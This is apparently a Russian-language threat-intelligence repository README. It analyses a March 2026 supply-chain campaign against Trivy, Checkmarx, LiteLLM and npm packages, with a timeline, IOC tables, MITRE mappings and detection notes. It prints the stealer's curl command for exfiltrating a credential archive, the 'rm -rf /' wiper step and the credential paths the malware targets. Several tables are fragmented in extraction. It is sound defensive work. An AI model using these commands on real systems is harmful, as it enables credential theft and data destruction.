
CVE-2026-33634 (CVSS 9.4) — самая значимая атака на цепочку поставок CI/CD в 2026 году на данный момент.
CVE-2026-33634 (CVSS 9.4) — самая значимая атака на цепочку поставок CI/CD в 2026 году на данный момент.
В период с 19 по 25 марта 2026 года threat actor TeamPCP (также отслеживается как DeadCatx3, PCPcat, ShellForce, CanisterWorm) провёл каскадную атаку на цепочку поставок в пяти экосистемах: GitHub Actions, Docker Hub, OpenVSX, npm и PyPI. Начавшись с одного не полностью отозванного GitHub PAT, кампания распространилась на двух крупных вендоров open-source безопасности (Aqua Security и Checkmarx), четыре репозитория GitHub Actions, два расширения VS Code, реестры контейнеров и более 66 пакетов npm.
Этот репозиторий содержит полный технический разбор, подборку IOC-индикаторов (проверенную на ложные срабатывания) и готовые к развёртыванию запросы обнаружения для Microsoft Defender XDR.
Основная причина: неполная ротация учётных данных после инцидента 28 февраля. PAT сервисной учётной записи aqua-bot либо не был отозван, либо атакующий наблюдал новый токен во время ротации.
TeamPCP использовал этот сохранённый доступ, чтобы делать force-push тегов версий во вредоносные коммиты-подделки. Каждый поддельный коммит клонировал метаданные оригинала (автор, временная метка, сообщение), заменяя при этом скрипт точки входа на payload-стилера. Страница релиза GitHub не показывала видимых изменений — даже бейдж "Immutable" отображался нормально.
Стилер — 204-строчный entrypoint.sh, самоидентифицирующийся как "TeamPCP Cloud stealer", — выполняет атаку в три этапа:
Этап 1: Сканирование памяти
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
Этап 2: Сбор учётных данных из файловой системы
Сканирует 50+ чувствительных путей, включая:
~/.ssh/*)~/.npmrc).envЭтап 3: Зашифрованная эксфильтрация
tpcp.tar.gzcurl POST на typo-squat домены, имитирующие вендоровtpcp-docs или docs-tpcp в GitHub-аккаунте жертвы, используя украденный GITHUB_TOKENВ не-CI Linux-системах вредонос:
~/.config/sysmon/sysmon.py)Украденные учётные данные волны Trivy позволили скомпрометировать экосистему Checkmarx. Каждая новая волна использовала другой typo-squat C2-домен, чтобы обойти блок-листы предыдущей волны:
| Волна | C2-домен | Имитация (typosquat) |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Расширение | Вредоносная версия | Безопасная версия |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
Оба расширения были опубликованы с интервалом в 12 секунд в 12:53 UTC 23 марта через учётную запись ast-phoenix. При активации environmentAuthChecker.js проверяет наличие учётных данных облачного провайдера, а затем загружает стилер второй стадии с checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| Образ | Вредоносные теги |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| Пакет | Версии | Бэкдор-файл |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
Тройной вложенный base64-payload с набором инструментов для горизонтального перемещения в K8s. Постоянство через sysmon.service, опрашивающий checkmarx.zone/raw.
Паттерн эксфильтрации одинаков во всех волнах:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
Стратегия typo-squat доменов выбрана намеренно: аналитик, просматривающий логи CI/CD, видит curl-трафик на домен, похожий на домен собственного вендора action. Без тщательного сравнения scan.aquasecurtiy.org сходит за aquasecurity.org при быстрой проверке логов.
Только атакующий может расшифровать украденные данные — сеансовый ключ AES зашифрован RSA-OAEP его открытым ключом.
В течение 24 часов после компрометации Trivy украденные npm-токены позволили запустить самоповторяющийся червь в 66+ пакетах (141 вредоносный артефакт).
Чем примечателен CanisterWorm:
tdtqy-oyaaa-aaaae-af2dq-cai — это децентрализованный смарт-контракт: нет единой точки для отключенияget_latest_link, http_request, update_linkyoutube.com, бэкдор засыпаетpgmon (мониторинг PostgreSQL)/tmp/pglog, состояние отслеживается в /tmp/.pg_stateИзвестные скомпрометированные scope: @emilgroup/*, @teale.io/* (самоповторяющийся вариант в @teale.io/eslint-config v1.8.11, v1.8.12)
Деструктивный вариант нацелен конкретно на иранские системы:
kamikazerm -rf / --no-preserve-root с sudoОбнаружение основывается на проверках часового пояса и локали системы.
Имя правила: TeamPCP Supply Chain C2 and Malware IOC Match
Серьёзность: Высокая
Категория: CommandAndControl
Частота: Каждый 1 час
Полный KQL-запрос см. в detection/defender_xdr_query.kql.
Запрос охватывает:
Готовый к импорту CSV-файл находится в iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Этот файл протестирован на ложные срабатывания в производственной среде корпоративного класса.
| Платформа | Обнаружение |
|---|---|
| Palo Alto Cortex XDR | Правило ioc.linux.shaihulud.2 — доступ к учётным данным на раннерах GitHub Action |
| Sysdig/Falco | Contact EC2 Instance Metadata Service From Container, , |
| URL | Функция |
|---|---|
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz | Загрузка payload второй стадии |
| Имя | Волна |
|---|---|
tpcp-docs | Trivy |
docs-tpcp | Checkmarx |
Запросы обнаружения и CSV-файл IOC в этом репозитории протестированы в производственной среде со следующим окружением:
Следующие IOC были удалены из-за подтверждённых ложных срабатываний:
MIT — используйте, распространяйте, адаптируйте свободно. Атрибуция приветствуется.
Автор: Ugur Can Ates — руководитель SOC-команды и старший инженер по безопасности
Последнее обновление: 25 марта 2026
| Дата (UTC) | Событие |
|---|
| 20 фев 2026 | Создана учётная запись hackerbot-claw; начинает сканирование репозиториев на предмет эксплуатируемых workflow pull_request_target |
| 28 фев 2026 | Первый компрометация Trivy через PWN-запрос; учётные данные эксфильтрованы |
| 1 мар 2026 | Aqua Security пытается сдержать угрозу — ротация учётных данных выполнена не полностью |
| 19 мар, 17:43 | Главный удар: TeamPCP делает force-push 75 из 76 тегов в aquasecurity/trivy-action + все 7 тегов в setup-trivy через скомпрометированную сервисную учётную запись aqua-bot |
| 19 мар, 18:22 | Бэкдор-версия Trivy v0.69.4 опубликована в GitHub Releases, Docker Hub, GHCR, ECR |
| 20 мар, 05:40 | Окно компрометации trivy-action закрывается (~12 часов) |
| 20 мар, 20:45 | CanisterWorm обнаружен при распространении через npm — скомпрометировано 47+ пакетов |
| 22 мар, 20:31 | TeamPCP дефейсит все 44 репозитория в GitHub-организации aquasec-com скриптованным 2-минутным залпом |
| 22 мар | Образы Docker Hub 0.69.5 и 0.69.6 запушены с тем же payload-стилером |
| 23 мар, 02:53 | Начинается волна Checkmarx: Вредоносные ast-results v2.53.0 и cx-dev-assist v1.7.0 опубликованы в OpenVSX через учётную запись ast-phoenix |
| 23 мар, 12:58 | Все 35 тегов Checkmarx/kics-github-action форс-пушнуты через скомпрометированную учётную запись cx-plugins-releases |
| 23 мар, 15:41 | Checkmarx сообщает, что проблема OpenVSX устранена |
| 23 мар, 16:50 | KICS GitHub Action снят с публикации после сообщения пользователя |
| 23 мар, 22:25 | Sysdig сообщает, что Checkmarx/ast-github-action v2.3.28 также скомпрометирован |
| 24 мар, 08:30 | Волна LiteLLM: Троянизированные litellm v1.82.7 и v1.82.8 опубликованы в PyPI с использованием украденных учётных данных |
| 24 мар, 11:25 | PyPI помещает в карантин вредоносные версии LiteLLM |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| Репозиторий | Теги скомпрометированы | Окно экспозиции (UTC) | Точка входа |
|---|
aquasecurity/trivy-action | 75 из 76 (безопасный: 0.35.0) | 19 мар 17:43 – 20 мар 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | Все 7 тегов | 19 мар 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | Все 35 тегов | 23 мар 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (вероятно, все) | 23 мар ~22:25+ | setup.sh |
Curl Exfiltrating FileExfiltration of AWS IMDS Credentials Using LOTL Binary| Хеш | Описание | Источник |
|---|
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a | Вредоносный entrypoint.sh Trivy | Phoenix Security |
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 | CanisterWorm Wave 4 — финальная форма | Aikido Security |
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a | CanisterWorm Wave 3 — самоповторяющийся тест | Aikido Security |
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba | CanisterWorm Wave 2 — вооружённый ICP-бэкдор | Aikido Security |
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 | CanisterWorm Wave 1 — deploy.js | Aikido Security |
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 | CanisterWorm Wave 2 — deploy.js | Aikido Security |
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 | CanisterWorm Wave 3+ — минифицированный deploy.js | Aikido Security |
| Индикатор | Тип | Назначение |
|---|
83.142.209.11 | IP | C2-сервер (checkmarx.zone) |
45.148.10.212 | IP | C2-сервер (scan.aquasecurtiy.org) |
checkmarx[.]zone | Домен | C2 — волна Checkmarx/KICS/LiteLLM |
scan.aquasecurtiy[.]org | Домен | C2 — волна Trivy |
models.litellm[.]cloud | Домен | C2 — волна LiteLLM в PyPI |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io | Домен | ICP canister dead-drop C2 |
checkmarx[.]zone/vsx| Эндпоинт эксфильтрации |
checkmarx[.]zone/raw | Опрос для постоянства (50 мин) |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/ | C2 ICP canister |
| Путь | Назначение |
|---|
~/.config/sysmon/ | Директория бэкдора |
~/.config/sysmon.py | Python-бэкдор |
~/.config/systemd/user/sysmon.service | Постоянство через systemd |
~/.config/systemd/user/pgmon.service | Постоянство CanisterWorm (маскировка под PostgreSQL) |
/tmp/pglog | Скачанный бинарник |
/tmp/.pg_state | Состояние опроса C2 |
| IOC | Источник ложных срабатываний |
|---|
setup.sh (имя файла) | Ansible-коллекции, кэш плагинов Claude Code, скрипты Bitnami |
service.py (имя файла) | Ansible module_utils, protobuf, boto3, FreeIPA, K8s core |
deploy.js (имя файла) | Стандартный файл npm/node |
169.254.169.254 (IMDS IP) | Агент FortiMonitor, Oracle AHF — легитимный мониторинг |
icp0.io (родительский домен) | Слишком широкий, перехватывает легитимный ICP-трафик |
hooks.slack.com (cmdline) | Легитимные интеграции Slack |
discord.com/api/webhooks (cmdline) | Легитимные интеграции Discord |
| Техника | ID | Контекст |
|---|
| Supply Chain Compromise: Software Dependencies | T1195.002 | Отравление тегов GitHub Actions, OpenVSX, npm, PyPI |
| Unsecured Credentials: Cloud Instance Metadata API | T1552.005 | Кража AWS IMDS с CI-раннеров |
| Credentials from Password Stores | T1555 | Сбор учётных данных из файловой системы (50+ путей) |
| OS Credential Dumping | T1003 | Сканирование /proc/mem процесса Runner.Worker |
| Exfiltration Over C2 Channel | T1041 | Зашифрованный tpcp.tar.gz на typo-squat домены |
| Web Service | T1102 | ICP canister dead-drop C2 |
| Systemd Service | T1543.002 | Постоянство через pgmon.service, sysmon.service |
| Ingress Tool Transfer | T1105 | Загрузка checkmarx-util-1.0.4.tgz |
| Acquire Infrastructure: Domains | T1583.001 | Typo-squat домены для каждой волны |
| Источник | Ссылка |
|---|